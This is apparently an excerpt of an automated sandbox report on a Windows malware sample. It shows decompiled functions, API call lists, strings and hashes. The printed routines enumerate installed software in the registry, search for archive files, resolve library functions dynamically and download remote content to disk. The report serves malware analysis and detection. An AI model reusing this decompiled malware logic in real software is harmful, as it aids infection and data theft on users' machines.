				E00401200(_t97, _t156, 0, _t61, _t125, _t97, _a4);
				_t126 =  *0x41a6f4; // 0x4872e8
				_t63 =  *0x41a61c; // 0x486638
				_t99 =  *0x41a344; // 0x4871e8
				E00401200(_t99, _t156, 0, _t99, _t63, _t126, _a4);
				_t65 =  *0x41a4d4; // 0x487558
				_t100 =  *0x41a7c0; // 0x487438
				_t128 =  *0x41a2e8; // 0x4872f8
				E00401200(_t100, _t156, 0, _t128, _t100, _t65, _a4);
				_t101 =  *0x41a244; // 0x4874b0
				_t129 =  *0x41a5cc; // 0x4868e0
				_t68 =  *0x41a148; // 0x4871a8
				E00401200(_t101, _t156, 1, _t68, _t129, _t101, _a4);
				_t130 =  *0x41a0bc; // 0x487510
				_t70 =  *0x41a5cc; // 0x4868e0
				_t103 =  *0x41a148; // 0x4871a8
				E00401200(_t103, _t156, 1, _t103, _t70, _t130, _a4);
				VirtualAlloc( &_v268, 0x104, ??, ??);
				E0040B800(_t103,  &_v268, 0x1a);
				_t132 =  *0x41a160; // 0x487498
				return E00401280(0x41401a,  &_v268, _t132, _a4);
			}

0x0040147d
0x00401484
0x0040148b
0x00401493
0x0040149f
0x004014a6
0x004014ac
0x004014b5
0x004014c1
0x004014c7
0x004014ce
0x004014d7
0x004014e3
0x004014ea
0x004014f1
0x004014f9
0x00401505
0x0040150c
0x00401512
0x0040151b
0x00401527
0x0040152d
0x00401534
0x0040153d
0x00401549
0x00401550
0x00401557
0x0040155f
0x0040156b
0x00401572
0x00401578
0x00401581
0x0040158d
0x00401593
0x0040159a
0x004015a3
0x004015af
0x004015b6
0x004015bd
0x004015c5
0x004015d1
0x004015d8
0x004015de
0x004015e7
0x004015f3
0x004015f9
0x00401600
0x00401609
0x00401615
0x0040161c
0x00401623
0x0040162b
0x00401637
0x0040163e
0x00401644
0x0040164d
0x00401659
0x0040165f
0x00401666
0x0040166f
0x0040167b
0x00401682
0x00401689
0x00401691
0x0040169d
0x004016a4
0x004016aa
0x004016b3
0x004016bf
0x004016c5
0x004016cc
0x004016d5
0x004016e1
0x004016e8
0x004016ef
0x004016f7
0x00401703
0x0040170a
0x00401710
0x00401719
0x0040172d
0x0040173b
0x00401747
0x00401765

APIs

Part of subcall function 00401200: lstrcat.KERNEL32(?,00486DC8), ref: 0040124F

VirtualAlloc.KERNELBASE ref: 0040172D

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Part of subcall function 00401280: wsprintfA.USER32 ref: 00401299
Part of subcall function 00401280: FindFirstFileA.KERNEL32(?,?), ref: 004012B0

Strings

pH, xrefs: 004015F3
8tH, xrefs: 004016C5
HsH, xrefs: 004014F1, 00401512, 00401534, 00401557, 00401578
XuH, xrefs: 004016BF
XKH, xrefs: 00401593
xMH, xrefs: 00401505
HrH, xrefs: 00401659
XqH, xrefs: 0040156B
8KH, xrefs: 004014E3
xKH, xrefs: 004015D8
XnH, xrefs: 004014CE
rH, xrefs: 0040169D
@nH, xrefs: 00401484
qH, xrefs: 00401600, 00401623, 00401644, 00401666, 00401689, 004016AA
(qH, xrefs: 00401549
xoH, xrefs: 004014AC
@qH, xrefs: 0040159A
8fH, xrefs: 004015F9, 0040161C, 0040163E, 0040165F, 00401682, 004016A4
hH, xrefs: 004016E8, 0040170A
XLH, xrefs: 004014C7

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AllocFileFindFirstFolderPathVirtuallstrcatwsprintf
String ID: (qH$8KH$8fH$8tH$@nH$@qH$HrH$HsH$XKH$XLH$XnH$XqH$XuH$xKH$xMH$xoH$hH$pH$qH$rH
API String ID: 968709229-3579523883
Opcode ID: 4bdf4658be7f2dfc9622957aa842a69e3bcb6e05405a3ce86510d58bfe4007bd
Instruction ID: 97eba82cd289bf7550a031a6ab37f1105a1a0500a3f083de661abb07e005587e
Opcode Fuzzy Hash: 4bdf4658be7f2dfc9622957aa842a69e3bcb6e05405a3ce86510d58bfe4007bd
Instruction Fuzzy Hash: BB810FF66050047BD744DB89EC81FE637A9A78C744F04C26CB60DD72A2D674A960CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x4822e0
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x4822e0
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x488ca0
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x488df0
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,004822E0,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

"H, xrefs: 0040B376, 0040B407
%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?$"H
API String ID: 2323328657-2726528819
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0058C530, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0058C582
GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0058C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0058C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0058C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0058C5E3
GetProcAddress.KERNEL32(0041AA64,(G), ref: 0058C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0058C614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0058C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0058C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0058C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0058C673
LoadLibraryA.KERNEL32(@G,?,00586DC2), ref: 0058C685
LoadLibraryA.KERNEL32(0041A658,?,00586DC2), ref: 0058C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0058C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0058C6D9

Strings

(G, xrefs: 0058C5EE, 0058C5F4
@G, xrefs: 0058C67E, 0058C684

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (G$@G
API String ID: 2238633743-900669653
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: f7b2741026bcabba55d3a21311a22989b37beb00417d051c2965f8f336ece50b
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: CD4173F5523200DFC344DFA8EE489A23BB9BB8C251705C939E509C3672D73895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00487B40), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00487C48), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,00488478), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Strings

zH, xrefs: 00408302
H|H, xrefs: 0040842B
@{H, xrefs: 004083D3

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: @{H$H|H$zH
API String ID: 2806430148-934595442
Opcode ID: a8c99f5a05a3f014528ba712139da3abc0681b2455e07d2f6e61a56842e82a8b
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: a8c99f5a05a3f014528ba712139da3abc0681b2455e07d2f6e61a56842e82a8b
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00588530, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005885AF
RtlAllocateHeap.NTDLL(00000000), ref: 005885B6
lstrcat.KERNEL32(?,@{H), ref: 00588631

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00000000), ref: 00588675
lstrcat.KERNEL32(?,H|H), ref: 00588688
lstrcat.KERNEL32(?,?), ref: 0058869C
lstrcat.KERNEL32(?,0041A158), ref: 005886B0
lstrcat.KERNEL32(?,?), ref: 005886C4
lstrcat.KERNEL32(?,004191F0), ref: 005886D6
lstrcat.KERNEL32(?,?), ref: 005886EA
lstrcat.KERNEL32(?,00418BC0), ref: 005886FC
lstrlen.KERNEL32(?), ref: 0058870E

Strings

zH, xrefs: 00588552, 00588557
H|H, xrefs: 0058867B, 00588680
@{H, xrefs: 00588623, 00588629

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: @{H$H|H$zH
API String ID: 2806430148-934595442
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: 29bfc27a0133db843af59de04683f441461b0138907db48189a10d812bdcf200
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 3D5153B1A00108ABCB14EBA4DD4AEDA77B8FF4C705F008594F709D3251DA359EA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.zoo, xrefs: 004115A0
.zip, xrefs: 00411586
.gz, xrefs: 004115FC
.lzh, xrefs: 004115CE
.arc, xrefs: 004115B7
.tgz, xrefs: 00411613
.arj, xrefs: 004115E5

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

200, xrefs: 00404AD9
https, xrefs: 00404A28

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: 00cec983de3c0e96eaeab04a37e6316cac0b29125e5d74870afb99dc715ec5a6
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: 00cec983de3c0e96eaeab04a37e6316cac0b29125e5d74870afb99dc715ec5a6
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x4872a8
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x4872a8
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x484ab8
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x487d68
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x487d50
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x488618
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x487d08
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x488738
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x487d98
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(004872A8,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(004872A8,?), ref: 00407994
LoadLibraryA.KERNEL32(00484AB8), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00487D68), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00487D50), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00488618), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00487D08), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00488738), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00487D98), ref: 00407A51

Strings

P}H, xrefs: 004079E2
h}H, xrefs: 004079CA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: P}H$h}H
API String ID: 570708976-3934541750
Opcode ID: 47d5fe2e42240f349a17ba9ab622836d3bbf06adcb4eb64d5aad6c73101339b2
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 47d5fe2e42240f349a17ba9ab622836d3bbf06adcb4eb64d5aad6c73101339b2
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00587B50, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00587B7E
lstrcat.KERNEL32(?,0041B488), ref: 00587BAD
lstrcat.KERNEL32(?,004191E8), ref: 00587BBF
lstrcat.KERNEL32(?,00000000), ref: 00587BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00587BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00587C02
GetProcAddress.KERNEL32(0041A824,h}H), ref: 00587C27
GetProcAddress.KERNEL32(0041A824,P}H), ref: 00587C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00587C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00587C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00587C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00587CA1

Strings

h}H, xrefs: 00587C1A, 00587C20
P}H, xrefs: 00587C32, 00587C38

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: P}H$h}H
API String ID: 570708976-3934541750
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: f2686bd8308feef4b3728b43310cbfbabdab51807f5bf1b902019ced4a4ec4fc
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 26414AB5112204DFD714EFA8ED48AE53BF8BB0C305F14C57AF50592260C7799AA2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 005853F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0058541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00585443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0058547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005854A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 005854C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00585503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0058552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00585577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00585593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 005855A9
Sleep.KERNEL32(00007530), ref: 005855C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005855EC
lstrcat.KERNEL32(?,00000000), ref: 00585628
InternetCloseHandle.WININET(00000000), ref: 00585634
